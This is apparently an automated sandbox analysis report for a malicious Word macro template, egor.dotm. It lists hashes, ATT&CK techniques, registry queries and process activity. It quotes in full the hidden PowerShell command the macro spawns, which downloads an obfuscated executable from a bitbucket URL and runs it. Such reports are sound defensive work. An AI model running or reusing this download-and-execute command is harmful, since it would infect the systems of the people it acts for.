7a3b1e9c8df660dc1c1cf9b17411c1d6a4ffca364712c5de8ac46b1199ece1ce

Analysis

max time kernel
146s
max time network
175s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
16/06/2023, 18:36

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General

Target

egor.dotm
Size

14KB
MD5

adccb9016b434427cd125ae841d1baaf
SHA1

56aa1a0e7b1ba0d2714be1e36d4a59ca4ca8a05d
SHA256

d6cdc6b64b477100f73ffa15b1fe7597e3a6c81431b527bc766f7bab27701e8b
SHA512

9b4fbb5f16570c7a5165a53ffab8680db2122e3040ed411358f2a4fee2d8a24d525ab430651b0c1d1f93f8b7471b8ba9f7b58a96b167e5245a082a0d51c35c62
SSDEEP

384:tmtl44XewvWv7lC78WQ6Su6akwLWdxdFYB3w:ql44XHvWTu8mSzakw6LqG

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://bitbucket.org/damnman/damn/downloads/Zos.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	320	4376	powershell.exe	81

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4376	WINWORD.EXE
4376	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
320	powershell.exe
320	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	320	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4376	WINWORD.EXE
4376	WINWORD.EXE
4376	WINWORD.EXE
4376	WINWORD.EXE
4376	WINWORD.EXE
4376	WINWORD.EXE
4376	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 320	4376	WINWORD.EXE	82
PID 4376 wrote to memory of 320	4376	WINWORD.EXE	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\egor.dotm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden Start-BitsTransfer -Sou https://bitbucket.org/damnman/damn/downloads/Zos.e`xe -Dest C:\Users\Public\Zos.e`xe;C:\Users\Public\Zos.e`xe
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:320

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mysgsilq.hai.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/320-163-0x0000016268DD0000-0x0000016268DE4000-memory.dmp

Filesize
80KB

Download
memory/320-159-0x0000016268A10000-0x0000016268A32000-memory.dmp

Filesize
136KB

Download
memory/320-165-0x00000162506C0000-0x00000162506D0000-memory.dmp

Filesize
64KB

Download
memory/320-161-0x00000162506C0000-0x00000162506D0000-memory.dmp

Filesize
64KB

Download
memory/320-162-0x00000162506C0000-0x00000162506D0000-memory.dmp

Filesize
64KB

Download
memory/320-160-0x00000162506C0000-0x00000162506D0000-memory.dmp

Filesize
64KB

Download
memory/4376-139-0x00007FF887750000-0x00007FF887760000-memory.dmp

Filesize
64KB

Download
memory/4376-135-0x00007FF88A0B0000-0x00007FF88A0C0000-memory.dmp

Filesize
64KB

Download
memory/4376-134-0x00007FF88A0B0000-0x00007FF88A0C0000-memory.dmp

Filesize
64KB

Download
memory/4376-138-0x00007FF887750000-0x00007FF887760000-memory.dmp

Filesize
64KB

Download
memory/4376-137-0x00007FF88A0B0000-0x00007FF88A0C0000-memory.dmp

Filesize
64KB

Download
memory/4376-133-0x00007FF88A0B0000-0x00007FF88A0C0000-memory.dmp

Filesize
64KB

Download
memory/4376-136-0x00007FF88A0B0000-0x00007FF88A0C0000-memory.dmp

Filesize
64KB

Download
memory/4376-193-0x00007FF88A0B0000-0x00007FF88A0C0000-memory.dmp

Filesize
64KB

Download
memory/4376-194-0x00007FF88A0B0000-0x00007FF88A0C0000-memory.dmp

Filesize
64KB

Download
memory/4376-195-0x00007FF88A0B0000-0x00007FF88A0C0000-memory.dmp

Filesize
64KB

Download
memory/4376-196-0x00007FF88A0B0000-0x00007FF88A0C0000-memory.dmp

Filesize
64KB

Download